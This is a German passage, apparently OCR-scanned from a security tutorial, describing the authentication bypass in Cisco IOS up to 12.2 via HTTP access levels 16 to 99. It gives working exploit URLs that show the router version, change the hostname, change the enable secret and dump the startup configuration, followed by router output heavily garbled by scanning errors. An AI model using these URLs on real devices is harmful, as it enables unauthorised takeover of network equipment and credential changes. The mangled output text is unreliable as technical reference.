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Zugriff auf einen Cisco Router ohne Authentifizierung uber http

Bei verschiedenen IOS-Versionen bis einschlieBlich 12.2 kann ein nicht genehmigter Zugriff

auf eine Webseite erfolgen, wenn der Zugriffslevel in einem Bereich von 16 bis 99 angegeben
wird.

Zuvor muss man den normalen Anmeldeprozss abbrechen und dann kann man beispielsweise
http://192.168.1.221/level/16/exec/show/version/CR

als Url eingeben.
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Cigco Internetwork Operating System Software

I03 (tm) 1600 Software (C1800-Y¥-L), Version 12.Z(2)T, RELELIE SOFTWARE (fc1l)
TAC Zupport: http://www.cisco.com/cgi-bindibld/view.pl?i=support

Copyright (c) 1956-2001 by cisco 3ystems, Inc.

Compiled Sun 03-Jun-01 12:44 by ccoail

Image text-hase: 0x0S039E04, data-base: 0x02005000

RCOM: Systewm Bootstrap, Version 11.1(10) Ak, EARLY DEPLOYMENT RELEASE SOFTWARE (fcl)
ROM: 1600 Software (Cl600-BOOT-R), Version 11.1(10)Ak, EARLY DEPLOYMENT RELELSE SOFTWARE (fcl)

zum Angriff frei uptime is 12 minutes
System returned to ROM by power-on
System image file is "flash:cle00-y-1.122-Z2.T.hin"

cisco 1601 (68360) processor (revision C) with 4608K/1536K bytes of memory.
Processor board ID 14276208, with hardware revision 00000000
Eridgihg software.

.25 software, Wersion 3.0.0.

1 Ethernec/IEEE S0Z.3 incerface(s)

1 Zerial (sync/async) network interface(s)

System/ I0 wmemory with paricy disabled

2048E hytes of DRAM onbosrd 4096K bytes of DRAM on SIMM
Svstem running from FLASH

7K bytes of non-volatile configuration memory.

G19ZK bytes of processor board PCMCIA flash (Read ONLY)

Configuration register is 0OxZ2102
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Uber den Befehl:
http://192.168.0.92/level/16/configure/hostname/angriff/cr
konnen Sie den Hostname auf “angriff” &ndern und mit
http://192.168.0.92/level/16/configure/enable/secret/angrift/cr
konnen Sie gar das Enable Secret dndern.
Die urspriingliche Konfiguration gibt es iiber:
http://192.168.0.92/level/16/exec/show/start/cr
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